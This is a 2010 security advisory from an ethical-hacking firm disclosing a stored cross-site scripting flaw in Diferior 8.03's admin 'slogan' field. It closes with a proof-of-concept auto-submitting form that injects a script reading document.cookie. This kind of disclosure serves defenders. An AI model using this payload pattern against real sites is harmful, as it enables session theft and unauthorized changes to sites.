XSS vulnerability in Diferior

[advisory () htbridge ch]

Vulnerability ID: HTB22720
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_diferior.html
Product: Diferior
Vendor: Povilas Musteikis ( http://www.diferior.com/ ) 
Vulnerable Version: 8.03 and probably prior versions
Vendor Notification: 25 November 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "views/admin.php" script to properly sanitize user-supplied input in 
"slogan" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft 
of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/site/2.html"; method="post" name="main">
<input type="hidden" name="title" value="Site Title">
<input type="hidden" name="slogan" value='Powered by Diferior"><script>alert(document.cookie)</script>'>
<input type="hidden" name="timezone" value="GMT">
<input type="hidden" name="cron" value="php">
</form>
<script>
document.main.submit();
</script>